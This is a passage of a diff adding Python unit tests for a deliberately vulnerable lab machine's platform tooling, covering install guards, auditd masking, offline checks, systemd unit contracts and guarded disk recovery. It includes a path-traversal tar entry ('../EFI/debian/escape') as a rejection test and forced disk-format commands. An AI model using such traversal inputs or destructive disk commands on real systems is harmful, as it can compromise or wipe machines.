+            unsafe_live["services"]["apache2.service"] = "active"
+            args = SimpleNamespace(
+                manifest=PLATFORM_ROOT / "manifest.json",
+                profile=profile_path,
+                inventory=fake_inventory,
+                apply=True,
+                to="connectivity-on",
+                confirm="ENABLE MAINTENANCE CONNECTIVITY",
+                boot_environment="installed-debian-maintenance",
+            )
+            with mock.patch(
+                "open_world_platform.cli.collect_live_inventory",
+                return_value=unsafe_live,
+            ) as collect:
+                with self.assertRaisesRegex(ContractError, "remains blocked"):
+                    _cmd_mode(args)
+            collect.assert_called_once()
+
+
+class SessionTests(unittest.TestCase):
+    def test_session_parent_policy_preserves_event_key_traversal(self) -> None:
+        self.assertEqual(ENVIRONMENT_PARENT_MODE, 0o711)
+        self.assertEqual(RUNTIME_PARENT_MODE, 0o750)
+
+    def test_fresh_marker_metadata_is_a_final_trust_gate(self) -> None:
+        validate_fresh_marker_metadata(uid=0, mode=0o400)
+        for uid, mode in ((1000, 0o400), (0, 0o440), (0, 0o600)):
+            with self.subTest(uid=uid, mode=oct(mode)):
+                with self.assertRaisesRegex(ContractError, "root-owned"):
+                    validate_fresh_marker_metadata(uid=uid, mode=mode)
+
+    def test_fresh_session_is_atomic_consistent_and_consumes_marker(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            root = Path(temp)
+            marker = root / "state/fresh-state.json"
+            marker.parent.mkdir(parents=True)
+            marker.write_bytes(fresh_marker_bytes())
+            # Windows cannot unlink a read-only file; exact 0400 enforcement is
+            # covered by the dedicated metadata contract test above.
+            marker.chmod(0o600 if os.name == "nt" else 0o400)
+            state = root / "state/telemetry-state.json"
+            environment = root / "etc/session.env"
+            runtime = root / "run/session-id"
+            ownership = []
+            # A non-root Linux CI user cannot create a uid-0 fixture. The
+            # exact uid/mode rejection is covered independently above.
+            with mock.patch(
+                "open_world_platform.session.validate_fresh_marker_metadata"
+            ):
+                session_id = prepare_fresh_session(
+                    fresh_marker=marker,
+                    state_path=state,
+                    environment_path=environment,
+                    runtime_id_path=runtime,
+                    session_factory=lambda: "exercise-test-001",
+                    bridge_token_factory=lambda: "a" * 64,
+                    group_lookup=lambda name: {
+                        "lab-telemetry": 1103,
+                        "lab-events": 1202,
+                    }[name],
+                    chown=lambda path, uid, gid: ownership.append(
+                        (path.name, uid, gid)
+                    ),
+                )
+            self.assertEqual(session_id, "exercise-test-001")
+            self.assertEqual(
+                environment.read_text(encoding="ascii"),
+                "LAB_SESSION_ID=exercise-test-001\n"
+                f"TELEMETRY_BRIDGE_TOKEN={'a' * 64}\n",
+            )
+            self.assertEqual(
+                runtime.read_text(encoding="ascii"), "exercise-test-001\n"
+            )
+            self.assertFalse(marker.exists())
+            self.assertEqual(
+                ownership,
+                [
+                    (environment.parent.name, 0, 0),
+                    (runtime.parent.name, 0, 1202),
+                    (environment.name, 0, 1103),
+                    (runtime.name, 0, 1202),
+                ],
+            )
+            if os.name == "posix":
+                self.assertEqual(
+                    environment.parent.stat().st_mode & 0o777, 0o711
+                )
+                self.assertEqual(runtime.parent.stat().st_mode & 0o777, 0o750)
+
+    def test_stale_state_blocks_session_creation_without_writes(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            root = Path(temp)
+            marker = root / "fresh-state.json"
+            marker.write_bytes(fresh_marker_bytes())
+            marker.chmod(0o400)
+            state = root / "telemetry-state.json"
+            state.write_text("stale", encoding="utf-8")
+            environment = root / "session.env"
+            runtime = root / "session-id"
+            with mock.patch(
+                "open_world_platform.session.validate_fresh_marker_metadata"
+            ), self.assertRaisesRegex(ContractError, "trusted restore"):
+                prepare_fresh_session(
+                    fresh_marker=marker,
+                    state_path=state,
+                    environment_path=environment,
+                    runtime_id_path=runtime,
+                    session_factory=lambda: "exercise-test-002",
+                    group_lookup=lambda name: 1,
+                    chown=lambda path, uid, gid: None,
+                )
+            self.assertFalse(environment.exists())
+            self.assertFalse(runtime.exists())
+
+    def test_fresh_session_rejects_an_unsafe_bridge_token_without_writes(
+        self,
+    ) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            root = Path(temp)
+            marker = root / "fresh-state.json"
+            marker.write_bytes(fresh_marker_bytes())
+            marker.chmod(0o600 if os.name == "nt" else 0o400)
+            environment = root / "session.env"
+            runtime = root / "session-id"
+            with mock.patch(
+                "open_world_platform.session.validate_fresh_marker_metadata"
+            ), self.assertRaisesRegex(ContractError, "unsafe token"):
+                prepare_fresh_session(
+                    fresh_marker=marker,
+                    state_path=root / "telemetry-state.json",
+                    environment_path=environment,
+                    runtime_id_path=runtime,
+                    session_factory=lambda: "exercise-test-003",
+                    bridge_token_factory=lambda: "unsafe\nvalue",
+                    group_lookup=lambda name: 1,
+                    chown=lambda path, uid, gid: None,
+                )
+            self.assertTrue(marker.exists())
+            self.assertFalse(environment.exists())
+            self.assertFalse(runtime.exists())
+
+
+class InstallGuardTests(unittest.TestCase):
+    def test_raw_audit_consumers_are_stopped_and_masked(self) -> None:
+        calls = []
+
+        class Completed:
+            returncode = 0
+            stderr = ""
+
+            def __init__(self, stdout=""):
+                self.stdout = stdout
+
+        def runner(args, **kwargs):
+            calls.append(args)
+            if args[:4] == [
+                "systemctl",
+                "show",
+                "--property=LoadState",
+                "--value",
+            ]:
+                return Completed("loaded\n")
+            if args[:2] == ["systemctl", "is-active"]:
+                return Completed("active\n")
+            return Completed()
+
+        disable_raw_audit_units(runner=runner)
+        self.assertIn(["service", "auditd", "stop"], calls)
+        self.assertIn(
+            ["systemctl", "mask", "auditd.service"], calls
+        )
+        self.assertIn(
+            [
+                "systemctl",
+                "mask",
+                "--now",
+                "systemd-journald-audit.socket",
+            ],
+            calls,
+        )
+
+    def test_platform_first_install_requires_bundle_units_to_be_absent(
+        self,
+    ) -> None:
+        calls = []
+
+        class Completed:
+            returncode = 0
+            stderr = ""
+
+            def __init__(self, stdout):
+                self.stdout = stdout
+
+        def absent_runner(args, **kwargs):
+            calls.append(args)
+            return Completed("not-found\n")
+
+        verify_units_absent(BUNDLE_ONLY_UNITS, runner=absent_runner)
+        self.assertEqual(len(calls), len(BUNDLE_ONLY_UNITS))
+
+        def loaded_runner(args, **kwargs):
+            return Completed("loaded\n")
+
+        with self.assertRaisesRegex(ContractError, "unexpectedly present"):
+            verify_units_absent(
+                ["open-world-telemetry.service"],
+                runner=loaded_runner,
+            )
+
+    def test_forbidden_units_require_exact_masked_inactive_state(self) -> None:
+        states = {
+            ("is-active", "nmbd.service"): "inactive\n",
+            ("is-enabled", "nmbd.service"): "masked\n",
+        }
+
+        class Completed:
+            returncode = 0
+            stderr = ""
+
+            def __init__(self, stdout):
+                self.stdout = stdout
+
+        def runner(args, **kwargs):
+            return Completed(states[(args[1], args[2])])
+
+        verify_units_masked_inactive(["nmbd.service"], runner=runner)
+        states[("is-enabled", "nmbd.service")] = "disabled\n"
+        with self.assertRaisesRegex(ContractError, "did not become masked"):
+            verify_units_masked_inactive(["nmbd.service"], runner=runner)
+
+    def test_install_is_a_verified_plan_by_default(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            base = Path(temp)
+            profile_value = profile()
+            profile_path = base / "profile.json"
+            profile_path.write_text(json.dumps(profile_value), encoding="utf-8")
+            overlay = base / "overlay"
+            render_overlay(PLATFORM_ROOT / "manifest.json", profile_path, overlay)
+            overlay_hash = tree_digest(overlay)
+            inventory = {
+                "platformIdentity": platform_identity(),
+                "bootEnvironment": "installed-debian-maintenance",
+                "targetDisk": {
+                    "diskById": profile_value["target"]["diskById"],
+                    "diskSerial": profile_value["target"]["diskSerial"],
+                    "diskWwn": profile_value["target"]["diskWwn"],
+                    "diskSizeBytes": profile_value["target"]["diskSizeBytes"],
+                },
+                "partitions": {
+                    "debian": {
+                        "partuuid": profile_value["target"]["debianPartuuid"],
+                        "device": "/dev/nvme0n1p3",
+                        "mountpoints": ["/"],
+                    },
+                    "esp": {"partuuid": profile_value["target"]["espPartuuid"]},
+                    "windows": {
+                        "partuuid": profile_value["target"]["windowsPartuuid"]
+                    },
+                },
+                "rootFilesystem": {
+                    "sourceDevice": "/dev/nvme0n1p3",
+                    "target": "/",
+                },
+                "packages": {
+                    name: True for name in manifest()["packages"]
+                },
+            }
+            request = InstallRequest(
+                disk_by_id=profile_value["target"]["diskById"],
+                debian_partuuid=profile_value["target"]["debianPartuuid"],
+                esp_partuuid=profile_value["target"]["espPartuuid"],
+                windows_partuuid=profile_value["target"]["windowsPartuuid"],
+                overlay_sha256=overlay_hash,
+                confirmation=(
+                    "INSTALL PLATFORM " + profile_value["target"]["diskById"]
+                ),
+            )
+            generated = validate_install_request(
+                manifest(),
+                profile_value,
+                inventory,
+                overlay,
+                request,
+            )
+            result = install_plan(profile_value, request, generated)
+            self.assertFalse(result["applied"])
+            self.assertGreater(len(result["files"]), 5)
+
+            bootstrap = maintenance_inventory(manifest())
+            bootstrap["bootEnvironment"] = "installed-debian"
+            bootstrap["network"]["firewall"] = {
+                "table": None,
+                "inputPolicy": None,
+                "forwardPolicy": None,
+                "outputPolicy": None,
+                "allowedOutputCidrs": [],
+                "deniedInputTcpPorts": [],
+            }
+            bootstrap_generated = validate_install_request(
+                manifest(),
+                profile_value,
+                bootstrap,
+                overlay,
+                request,
+            )
+            self.assertEqual(bootstrap_generated, generated)
+            unsafe_bootstrap = clone(bootstrap)
+            unsafe_bootstrap["network"]["defaultRoutesV4"] = [
+                {"dst": "default", "gateway": "192.0.2.1"}
+            ]
+            with self.assertRaisesRegex(
+                ContractError, "strictly offline"
+            ):
+                validate_install_request(
+                    manifest(),
+                    profile_value,
+                    unsafe_bootstrap,
+                    overlay,
+                    request,
+                )
+
+            missing_package = clone(inventory)
+            missing_package["packages"]["samba"] = False
+            with self.assertRaisesRegex(
+                ContractError, "required Debian packages"
+            ):
+                validate_install_request(
+                    manifest(),
+                    profile_value,
+                    missing_package,
+                    overlay,
+                    request,
+                )
+
+            wrong_platform = clone(inventory)
+            wrong_platform["platformIdentity"]["osVersionId"] = "12"
+            with self.assertRaisesRegex(
+                ContractError, "platform identity mismatch"
+            ):
+                validate_install_request(
+                    manifest(),
+                    profile_value,
+                    wrong_platform,
+                    overlay,
+                    request,
+                )
+
+            wrong = InstallRequest(
+                **{
+                    **request.__dict__,
+                    "debian_partuuid": "ffffffff-ffff-ffff-ffff-ffffffffffff",
+                }
+            )
+            with self.assertRaisesRegex(ContractError, "debianPartuuid"):
+                validate_install_request(
+                    manifest(),
+                    profile_value,
+                    inventory,
+                    overlay,
+                    wrong,
+                )
+            wrong_root = clone(inventory)
+            wrong_root["rootFilesystem"]["sourceDevice"] = "/dev/sdz2"
+            with self.assertRaisesRegex(ContractError, "live /"):
+                validate_install_request(
+                    manifest(),
+                    profile_value,
+                    wrong_root,
+                    overlay,
+                    request,
+                )
+
+
+class UnitContractTests(unittest.TestCase):
+    def test_units_cannot_start_vulnerable_target_without_ready_marker(self) -> None:
+        exercise = (
+            PLATFORM_ROOT
+            / "templates/etc/systemd/system/open-world-exercise.target"
+        ).read_text(encoding="utf-8")
+        vulnerable = (
+            PLATFORM_ROOT
+            / "templates/etc/systemd/system/open-world-vulnerable.target"
+        ).read_text(encoding="utf-8")
+        maintenance = (
+            PLATFORM_ROOT
+            / "templates/etc/systemd/system/open-world-maintenance.target"
+        ).read_text(encoding="utf-8")
+        self.assertIn(
+            "ConditionPathExists=/run/open-world-lab/exercise-ready", exercise
+        )
+        self.assertIn(
+            "ConditionPathExists=/run/open-world-lab/exercise-ready", vulnerable
+        )
+        self.assertIn("open-world-nfs-watch.service", vulnerable)
+        requires = next(
+            line
+            for line in vulnerable.splitlines()
+            if line.startswith("Requires=")
+        )
+        required_runtime = {
+            "apache2.service",
+            "dnsmasq.service",
+            "mnt-windows.mount",
+            "nfs-server.service",
+            "open-world-file-watch.service",
+            "open-world-nfs-watch.service",
+            "open-world-root-timer.timer",
+            "open-world-telemetry.service",
+            "smbd.service",
+            "ssh.service",
+        }
+        self.assertTrue(
+            required_runtime.issubset(
+                set(requires.removeprefix("Requires=").split())
+            )
+        )
+        binds_to = next(
+            line
+            for line in vulnerable.splitlines()
+            if line.startswith("BindsTo=")
+        )
+        bound_runtime = set(
+            binds_to.removeprefix("BindsTo=").split()
+        )
+        self.assertEqual(
+            bound_runtime,
+            required_runtime | {"open-world-telemetry.socket"},
+        )
+        after = next(
+            line
+            for line in vulnerable.splitlines()
+            if line.startswith("After=")
+        )
+        self.assertTrue(
+            required_runtime.issubset(
+                set(after.removeprefix("After=").split())
+            )
+        )
+        self.assertNotIn("Wants=", vulnerable)
+        self.assertIn(
+            "BindsTo=open-world-vulnerable.target", exercise
+        )
+        for relative in ("dnsmasq.service.d/90-open-world-target.conf",):
+            drop_in = (
+                PLATFORM_ROOT
+                / "templates/etc/systemd/system"
+                / relative
+            ).read_text(encoding="utf-8")
+            self.assertIn(
+                "PartOf=open-world-vulnerable.target", drop_in
+            )
+        failure_unit = (
+            PLATFORM_ROOT
+            / "templates/etc/systemd/system/"
+            "open-world-vulnerable-failure.service"
+        ).read_text(encoding="utf-8")
+        self.assertIn(
+            "systemctl --no-block stop open-world-vulnerable.target",
+            failure_unit,
+        )
+        self.assertIn("Conflicts=open-world-exercise.target", maintenance)
+        preset = (
+            PLATFORM_ROOT
+            / "templates/etc/systemd/system-preset/00-open-world-lab.preset"
+        ).read_text(encoding="utf-8")
+        self.assertIn("enable open-world-boot-quarantine.service", preset)
+        self.assertNotIn("open-world-guide.service", preset)
+        for service in (
+            "apache2.service",
+            "auditd.service",
+            "dnsmasq.service",
+            "nfs-server.service",
+            "nmbd.service",
+            "mnt-windows.mount",
+            "open-world-nfs-watch.service",
+            "open-world-file-watch.service",
+            "open-world-root-timer.timer",
+            "open-world-telemetry.socket",
+            "open-world-vulnerable-failure.service",
+            "rpcbind.service",
+            "rpcbind.socket",
+            "rpc-statd.service",
+            "rpc-statd-notify.service",
+            "smbd.service",
+            "ssh.service",
+            "NetworkManager.service",
+            "wpa_supplicant.service",
+            "systemd-networkd.service",
+            "systemd-journald-audit.socket",
+        ):
+            self.assertIn(f"disable {service}", preset)
+        file_watch_unit = (
+            PLATFORM_ROOT
+            / "templates/etc/systemd/system/open-world-file-watch.service"
+        ).read_text(encoding="utf-8")
+        self.assertIn(
+            "PartOf=open-world-vulnerable.target", file_watch_unit
+        )
+        self.assertIn(
+            "OnFailure=open-world-vulnerable-failure.service",
+            file_watch_unit,
+        )
+        self.assertIn(
+            "Before=apache2.service nfs-server.service "
+            "open-world-root-timer.timer smbd.service ssh.service",
+            file_watch_unit,
+        )
+        self.assertIn("Restart=no", file_watch_unit)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/labs/open-world-target/platform/tests/test_recovery.py b/labs/open-world-target/platform/tests/test_recovery.py
new file mode 100644
index 0000000..d10707d
--- /dev/null
+++ b/labs/open-world-target/platform/tests/test_recovery.py
@@ -0,0 +1,491 @@
+from __future__ import annotations
+
+import hashlib
+import io
+import json
+import sys
+import tarfile
+import tempfile
+import unittest
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
+
+from open_world_platform.model import ContractError  # noqa: E402
+from open_world_platform.recovery import (  # noqa: E402
+    RecoveryRequest,
+    _validated_efi_members,
+    btrfs_format_command,
+    make_received_root_writable,
+    recovery_plan,
+    validate_restored_boot_contract,
+    validate_received_subvolume,
+    validate_recovery_request,
+    verify_filesystem_uuid,
+)
+from tests.helpers import profile, recovery_inventory  # noqa: E402
+
+
+def _make_tar(path: Path) -> None:
+    content = b"synthetic Debian EFI fixture"
+    with tarfile.open(path, "w") as archive:
+        directory = tarfile.TarInfo("EFI/debian")
+        directory.type = tarfile.DIRTYPE
+        directory.mode = 0o755
+        archive.addfile(directory)
+        file_info = tarfile.TarInfo("EFI/debian/grubx64.efi")
+        file_info.size = len(content)
+        file_info.mode = 0o644
+        archive.addfile(file_info, io.BytesIO(content))
+
+
+class RecoveryGuardTests(unittest.TestCase):
+    def _fixture(self, base: Path):
+        recovery_mount = base / "recovery-media"
+        assets = recovery_mount / "assets"
+        assets.mkdir(parents=True)
+        stream = assets / "debian-root.btrfs"
+        stream.write_bytes(b"synthetic btrfs stream")
+        efi = assets / "debian-efi.tar"
+        _make_tar(efi)
+        full = assets / "full-disk.img"
+        full.write_bytes(b"synthetic full disk image")
+
+        profile_value = profile()
+        profile_value["target"]["diskSizeBytes"] = full.stat().st_size
+        profile_value["recovery"]["goldenBtrfsStream"]["sha256"] = hashlib.sha256(
+            stream.read_bytes()
+        ).hexdigest()
+        profile_value["recovery"]["debianEfiArchive"]["sha256"] = hashlib.sha256(
+            efi.read_bytes()
+        ).hexdigest()
+        profile_value["recovery"]["bareMetalImage"]["sha256"] = hashlib.sha256(
+            full.read_bytes()
+        ).hexdigest()
+
+        marker = recovery_mount / "RECOVERY-MEDIA.json"
+        marker.write_text(
+            json.dumps(
+                {
+                    "schemaVersion": 1,
+                    "trustedPurpose": "examserver-open-world-recovery",
+                    "kitId": profile_value["recovery"]["kitId"],
+                    "mediaUuid": profile_value["recovery"]["mediaUuid"],
+                    "goldenDebianFilesystemUuid": profile_value[
+                        "recovery"
+                    ]["goldenBtrfsStream"]["filesystemUuid"],
+                }
+            ),
+            encoding="utf-8",
+        )
+        inventory = recovery_inventory(profile_value)
+        inventory["recoveryMedia"]["mountPoint"] = str(recovery_mount.resolve())
+        request = RecoveryRequest(
+            operation="normal",
+            disk_by_id=profile_value["target"]["diskById"],
+            debian_partuuid=profile_value["target"]["debianPartuuid"],
+            esp_partuuid=profile_value["target"]["espPartuuid"],
+            windows_partuuid=profile_value["target"]["windowsPartuuid"],
+            image_sha256=profile_value["recovery"]["goldenBtrfsStream"]["sha256"],
+            efi_sha256=profile_value["recovery"]["debianEfiArchive"]["sha256"],
+            confirmation=(
+                "RESTORE DEBIAN " + profile_value["target"]["diskById"]
+            ),
+        )
+        return profile_value, inventory, request, recovery_mount, marker
+
+    def test_normal_recovery_is_a_guarded_plan_by_default(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            values = self._fixture(Path(temp))
+            profile_value, inventory, request, mount, marker = values
+            context = validate_recovery_request(
+                profile_value,
+                inventory,
+                request,
+                recovery_mount=mount,
+                marker_path=marker,
+            )
+            plan = recovery_plan(profile_value, request, context)
+            self.assertFalse(plan["applied"])
+            self.assertEqual(plan["operation"], "normal")
+            self.assertEqual(
+                [action["action"] for action in plan["actions"]],
+                [
+                    "format-btrfs-with-golden-uuid",
+                    "receive-golden-subvolume",
+                    "make-received-root-writable",
+                    "verify-stable-root-boot-contract",
+                    "verify-microsoft-efi-before",
+                    "replace-debian-efi-only",
+                    "verify-microsoft-efi-after",
+                ],
+            )
+            self.assertEqual(
+                plan["actions"][0]["filesystemUuid"],
+                profile_value["recovery"]["goldenBtrfsStream"][
+                    "filesystemUuid"
+                ],
+            )
+            self.assertTrue(plan["actions"][0]["verifyReadback"])
+
+    def test_trusted_recovery_linux_is_not_the_installed_target_os(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            profile_value, inventory, request, mount, marker = self._fixture(
+                Path(temp)
+            )
+            inventory["platformIdentity"] = {
+                "osId": "recovery-linux",
+                "osVersionId": "1",
+                "dpkgArchitecture": None,
+                "kernelMachine": "x86_64",
+            }
+            context = validate_recovery_request(
+                profile_value,
+                inventory,
+                request,
+                recovery_mount=mount,
+                marker_path=marker,
+            )
+            self.assertEqual(context.target_disk_device, "/dev/nvme0n1")
+
+    def test_every_identity_and_trust_gate_fails_closed(self) -> None:
+        cases = {
+            "wrong boot": lambda p, i, r: i.update(
+                {"bootEnvironment": "installed-debian"}
+            ),
+            "wrong serial": lambda p, i, r: i["targetDisk"].update(
+                {"diskSerial": "OTHER"}
+            ),
+            "wrong partition": lambda p, i, r: i["partitions"]["debian"].update(
+                {"partuuid": "ffffffff-ffff-ffff-ffff-ffffffffffff"}
+            ),
+            "mounted target": lambda p, i, r: i["partitions"]["debian"].update(
+                {"mountpoints": ["/mnt/target"]}
+            ),
+            "mounted Windows": lambda p, i, r: i["partitions"]["windows"].update(
+                {"mountpoints": ["/mnt/windows"]}
+            ),
+            "same recovery disk": lambda p, i, r: i["recoveryMedia"].update(
+                {"sourceDevice": "/dev/nvme0n1p4"}
+            ),
+            "mapper backed by target": lambda p, i, r: i["recoveryMedia"].update(
+                {
+                    "sourceDevice": "/dev/mapper/recovery",
+                    "backingDevices": ["/dev/mapper/recovery", "/dev/nvme0n1"],
+                }
+            ),
+            "wrong media UUID": lambda p, i, r: i["recoveryMedia"].update(
+                {"mediaUuid": "55555555-5555-5555-5555-555555555555"}
+            ),
+            "wrong golden filesystem UUID": lambda p, i, r: p[
+                "recovery"
+            ]["goldenBtrfsStream"].update(
+                {
+                    "filesystemUuid": (
+                        "ffffffff-ffff-4fff-8fff-ffffffffffff"
+                    )
+                }
+            ),
+            "non-removable source": lambda p, i, r: i["bootEvidence"].update(
+                {"recoverySourceRemovable": False}
+            ),
+            "overlay recovery root": lambda p, i, r: i[
+                "bootEvidence"
+            ].update(
+                {
+                    "rootSource": "overlay",
+                    "rootBackingDevices": [],
+                    "rootPhysicalDisks": [],
+                    "rootTransport": None,
+                    "rootSourceRemovable": False,
+                    "rootSourceHasBlockTopology": False,
+                    "rootSharesRecoveryMedia": False,
+                    "sharedRecoveryPhysicalDisks": [],
+                }
+            ),
+            "unrelated internal recovery root": lambda p, i, r: i[
+                "bootEvidence"
+            ].update(
+                {
+                    "rootSource": "/dev/sda2",
+                    "rootBackingDevices": ["/dev/sda", "/dev/sda2"],
+                    "rootPhysicalDisks": ["/dev/sda"],
+                    "rootTransport": "sata",
+                    "rootSourceRemovable": False,
+                    "rootSourceHasBlockTopology": True,
+                    "rootSharesRecoveryMedia": False,
+                    "sharedRecoveryPhysicalDisks": [],
+                }
+            ),
+            "unrelated removable USB root": lambda p, i, r: i[
+                "bootEvidence"
+            ].update(
+                {
+                    "rootSource": "/dev/sdy2",
+                    "rootBackingDevices": ["/dev/sdy", "/dev/sdy2"],
+                    "rootPhysicalDisks": ["/dev/sdy"],
+                    "rootTransport": "usb",
+                    "rootSourceRemovable": True,
+                    "rootSourceHasBlockTopology": True,
+                    "rootSourceNotTarget": True,
+                    "rootSharesRecoveryMedia": True,
+                    "sharedRecoveryPhysicalDisks": ["/dev/sdy"],
+                }
+            ),
+            "target-backed recovery root": lambda p, i, r: i[
+                "bootEvidence"
+            ].update(
+                {
+                    "rootSource": "/dev/nvme0n1p3",
+                    "rootBackingDevices": [
+                        "/dev/nvme0n1",
+                        "/dev/nvme0n1p3",
+                    ],
+                    "rootPhysicalDisks": ["/dev/nvme0n1"],
+                    "rootSourceNotTarget": False,
+                }
+            ),
+            "wrong phrase": lambda p, i, r: object.__setattr__(
+                r, "confirmation", "RESTORE"
+            ),
+            "wrong supplied hash": lambda p, i, r: object.__setattr__(
+                r, "image_sha256", "f" * 64
+            ),
+        }
+        for label, mutate in cases.items():
+            with self.subTest(label=label), tempfile.TemporaryDirectory() as temp:
+                profile_value, inventory, request, mount, marker = self._fixture(
+                    Path(temp)
+                )
+                mutate(profile_value, inventory, request)
+                with self.assertRaises(ContractError):
+                    validate_recovery_request(
+                        profile_value,
+                        inventory,
+                        request,
+                        recovery_mount=mount,
+                        marker_path=marker,
+                    )
+
+    def test_full_image_uses_stricter_confirmation(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            profile_value, inventory, _, mount, marker = self._fixture(Path(temp))
+            request = RecoveryRequest(
+                operation="full",
+                disk_by_id=profile_value["target"]["diskById"],
+                debian_partuuid=profile_value["target"]["debianPartuuid"],
+                esp_partuuid=profile_value["target"]["espPartuuid"],
+                windows_partuuid=profile_value["target"]["windowsPartuuid"],
+                image_sha256=profile_value["recovery"]["bareMetalImage"]["sha256"],
+                efi_sha256=None,
+                confirmation=(
+                    "RESTORE FULL DISK INCLUDING WINDOWS "
+                    + profile_value["target"]["diskById"]
+                ),
+            )
+            context = validate_recovery_request(
+                profile_value,
+                inventory,
+                request,
+                recovery_mount=mount,
+                marker_path=marker,
+            )
+            plan = recovery_plan(profile_value, request, context)
+            self.assertEqual(plan["actions"][0]["action"], "write-full-disk-image")
+            self.assertIn("Windows", plan["actions"][0]["overwrites"])
+            self.assertEqual(
+                plan["actions"][0]["expectedBytes"],
+                profile_value["target"]["diskSizeBytes"],
+            )
+            self.assertEqual(
+                plan["actions"][0]["validatedImageBytes"],
+                profile_value["target"]["diskSizeBytes"],
+            )
+
+    def test_full_image_size_must_exactly_match_target_disk(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            profile_value, inventory, _, mount, marker = self._fixture(
+                Path(temp)
+            )
+            full = mount / profile_value["recovery"]["bareMetalImage"]["path"]
+            full.write_bytes(full.read_bytes() + b"wrong-size")
+            digest = hashlib.sha256(full.read_bytes()).hexdigest()
+            profile_value["recovery"]["bareMetalImage"]["sha256"] = digest
+            request = RecoveryRequest(
+                operation="full",
+                disk_by_id=profile_value["target"]["diskById"],
+                debian_partuuid=profile_value["target"]["debianPartuuid"],
+                esp_partuuid=profile_value["target"]["espPartuuid"],
+                windows_partuuid=profile_value["target"]["windowsPartuuid"],
+                image_sha256=digest,
+                efi_sha256=None,
+                confirmation=(
+                    "RESTORE FULL DISK INCLUDING WINDOWS "
+                    + profile_value["target"]["diskById"]
+                ),
+            )
+            with self.assertRaisesRegex(
+                ContractError, "logical size must exactly match"
+            ):
+                validate_recovery_request(
+                    profile_value,
+                    inventory,
+                    request,
+                    recovery_mount=mount,
+                    marker_path=marker,
+                )
+
+    def test_efi_archive_rejects_path_traversal_and_links(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            archive_path = Path(temp) / "unsafe.tar"
+            with tarfile.open(archive_path, "w") as archive:
+                member = tarfile.TarInfo("../EFI/debian/escape")
+                member.size = 1
+                archive.addfile(member, io.BytesIO(b"x"))
+            with tarfile.open(archive_path, "r") as archive:
+                with self.assertRaisesRegex(ContractError, "unsafe EFI"):
+                    _validated_efi_members(archive)
+
+    def test_restored_root_requires_stable_partuuid_or_label(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            root = Path(temp)
+            (root / "etc").mkdir()
+            (root / "boot/grub").mkdir(parents=True)
+            partuuid = "11111111-1111-1111-1111-111111111111"
+            (root / "etc/fstab").write_text(
+                f"PARTUUID={partuuid} / btrfs defaults,subvol=@ 0 0\n",
+                encoding="utf-8",
+            )
+            (root / "boot/grub/grub.cfg").write_text(
+                f"linux /vmlinuz root=PARTUUID={partuuid} ro\n",
+                encoding="utf-8",
+            )
+            validate_restored_boot_contract(root, partuuid)
+            (root / "boot/grub/grub.cfg").write_text(
+                "linux /vmlinuz root=UUID=old-filesystem-uuid ro\n",
+                encoding="utf-8",
+            )
+            with self.assertRaisesRegex(ContractError, "filesystem UUID"):
+                validate_restored_boot_contract(root, partuuid)
+
+    def test_receive_requires_exactly_one_top_level_at(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            mount = Path(temp)
+            (mount / "@").mkdir()
+            self.assertEqual(validate_received_subvolume(mount), mount / "@")
+            (mount / "unexpected").mkdir()
+            with self.assertRaisesRegex(ContractError, "exactly one"):
+                validate_received_subvolume(mount)
+
+    def test_received_subvolume_is_made_writable_and_verified_in_order(
+        self,
+    ) -> None:
+        calls: list[list[str]] = []
+        restored = Path("/restored/@")
+        restored_text = str(restored)
+
+        class Completed:
+            returncode = 0
+            stderr = b""
+
+            def __init__(self, stdout: bytes):
+                self.stdout = stdout
+
+        def runner(args, **kwargs):
+            calls.append(args)
+            return Completed(
+                b"ro=false\n" if args[2] == "get" else b""
+            )
+
+        make_received_root_writable(restored, runner=runner)
+        self.assertEqual(
+            calls,
+            [
+                [
+                    "btrfs",
+                    "property",
+                    "set",
+                    restored_text,
+                    "ro",
+                    "false",
+                ],
+                [
+                    "btrfs",
+                    "property",
+                    "get",
+                    restored_text,
+                    "ro",
+                ],
+            ],
+        )
+
+        def readonly_runner(args, **kwargs):
+            return Completed(
+                b"ro=true\n" if args[2] == "get" else b""
+            )
+
+        with self.assertRaisesRegex(ContractError, "remained read-only"):
+            make_received_root_writable(
+                restored, runner=readonly_runner
+            )
+
+    def test_format_preserves_and_verifies_golden_filesystem_uuid(
+        self,
+    ) -> None:
+        device = "/dev/nvme0n1p3"
+        expected = "aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee"
+        self.assertEqual(
+            btrfs_format_command(device, expected),
+            [
+                "mkfs.btrfs",
+                "--force",
+                "--label",
+                "open-world-lab",
+                "--uuid",
+                expected,
+                device,
+            ],
+        )
+
+        class Completed:
+            returncode = 0
+            stderr = b""
+
+            def __init__(self, stdout):
+                self.stdout = stdout
+
+        calls = []
+
+        def matching_runner(args, **kwargs):
+            calls.append(args)
+            return Completed((expected.upper() + "\n").encode("ascii"))
+
+        verify_filesystem_uuid(
+            device, expected, runner=matching_runner
+        )
+        self.assertEqual(
+            calls[0],
+            [
+                "blkid",
+                "--probe",
+                "--output",
+                "value",
+                "--match-tag",
+                "UUID",
+                device,
+            ],
+        )
+
+        def wrong_runner(args, **kwargs):
+            return Completed(
+                b"ffffffff-ffff-ffff-ffff-ffffffffffff\n"
+            )
+
+        with self.assertRaisesRegex(ContractError, "golden boot identity"):
+            verify_filesystem_uuid(
+                device, expected, runner=wrong_runner
+            )
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/labs/open-world-target/platform/tests/test_target_bundle.py b/labs/open-world-target/platform/tests/test_target_bundle.py
new file mode 100644
index 0000000..3df399d
--- /dev/null
+++ b/labs/open-world-target/platform/tests/test_target_bundle.py
@@ -0,0 +1,583 @@
+from __future__ import annotations
+
+import json
+import os
+import shutil
+import subprocess
+import sys
+import tempfile
+import unittest
